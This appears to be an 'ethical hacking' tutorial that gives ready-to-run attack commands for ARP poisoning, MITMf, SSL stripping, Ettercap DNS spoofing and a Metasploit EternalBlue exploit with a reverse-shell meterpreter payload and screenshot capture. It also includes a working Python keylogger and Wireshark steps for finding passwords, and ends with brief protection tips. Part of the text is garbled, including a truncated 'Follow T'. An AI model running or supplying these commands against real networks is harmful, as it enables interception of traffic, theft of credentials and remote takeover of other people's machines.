Advanced Ethical Hacking Techniques

For Educational Purposes Only

Contents

1 Manual ARP Poisoning

1.1 Concept

ARP Poisoning involves sending spoofed ARP messages to associate an attacker's MAC address with the target's IP address, enabling traffic interception.

1.2 Commands

```
# Enable IP forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward

# Poison victim's ARP cache
arpspoof -i eth0 -t <victim_ip> <gateway_ip>

# Poison gateway's ARP cache
arpspoof -i eth0 -t <gateway_ip> <victim_ip>
```

Listing 1: Manual ARP Poisoning Commands

—

2 MITM Framework

2.1 Introduction

Man-in-the-Middle (MITM) attacks intercept communication between two parties without their knowledge.

2.2 MITMf Tool

```
# Install MITMf
sudo apt install mitmf

# Perform MITM attack with ARP spoofing
mitmf --arp --spoof --gateway <gateway_ip> --target <
    target_ip> -i eth0
```

Listing 2: MITMf Example

—

3 Using SSL Strip

3.1 Concept

SSL Strip downgrades HTTPS connections to HTTP, enabling the interception of sensitive data.

3.2 Commands

```
# Start SSL Strip
sslstrip -l 8080

# Redirect HTTP traffic to SSL Strip
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j
    REDIRECT --to-port 8080
```

Listing 3: SSL Strip Setup

—

4 What is HSTS?

4.1 Definition

HSTS (HTTP Strict Transport Security) enforces HTTPS connections, protecting against SSL Strip attacks. It's implemented by websites to ensure secure communication.

—

5 DNS Spoofing

5.1 Concept

DNS Spoofing redirects traffic by sending malicious DNS responses.

5.2 Commands

```
# Start Ettercap in graphical mode
ettercap -G

# Enable DNS spoofing plugin
Plugins > Manage Plugins > dns_spoof > Activate

```

```
# Add fake DNS entries to /etc/ettercap/etter.dns
<target_domain> A <fake_ip>

# Start ARP poisoning
ettercap -T -q -i eth0 -M arp:remote /<victim_ip>/ /<
    gateway_ip>/
```

Listing 4: DNS Spoofing with Ettercap

—

6 Taking Screenshots of Target

6.1 Concept

Capturing screenshots of a target's desktop can reveal sensitive information.

6.2 Metasploit Commands

```
# Exploit a target
use exploit/windows/smb/ms17_010_eternalblue
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST <attacker_ip>
set RHOST <target_ip>
exploit

# Take a screenshot
meterpreter > screenshot
```

Listing 5: Metasploit Screenshot Capture

—

7 Injecting a Keylogger

7.1 Concept

Keyloggers capture keystrokes, revealing passwords and sensitive data.

7.2 Python Keylogger Example

```
import pynput

def on_press(key):
    with open("log.txt", "a") as file:
```

```
        file.write(f"{key}\n")

with pynput.keyboard.Listener(on_press=on_press) as listener:
    listener.join()
```

Listing 6: Python Keylogger

—

8 Wireshark Setup and Analysis

8.1 Setup

- Install Wireshark: `sudo apt install wireshark`
- Capture packets on the desired interface.

8.2 Analyzing Packets

- Filter HTTP traffic: `http`
- Filter specific IP: `ip.addr == <target_ip>` $Search for passwords: Use$ `tcp.stream` and `Follow T`

—

9 How to Protect Yourself

9.1 Prevent ARP Poisoning

- Use static ARP entries for critical systems.
- Enable DHCP Snooping on the network.

9.2 Prevent DNS Spoofing

- Use DNSSEC-enabled DNS servers.
- Avoid connecting to public Wi-Fi without a VPN.

9.3 Prevent MITM Attacks

- Use HTTPS connections and verify certificates.
- Regularly update software and firmware.

- Use firewall rules to block suspicious ARP activity.

—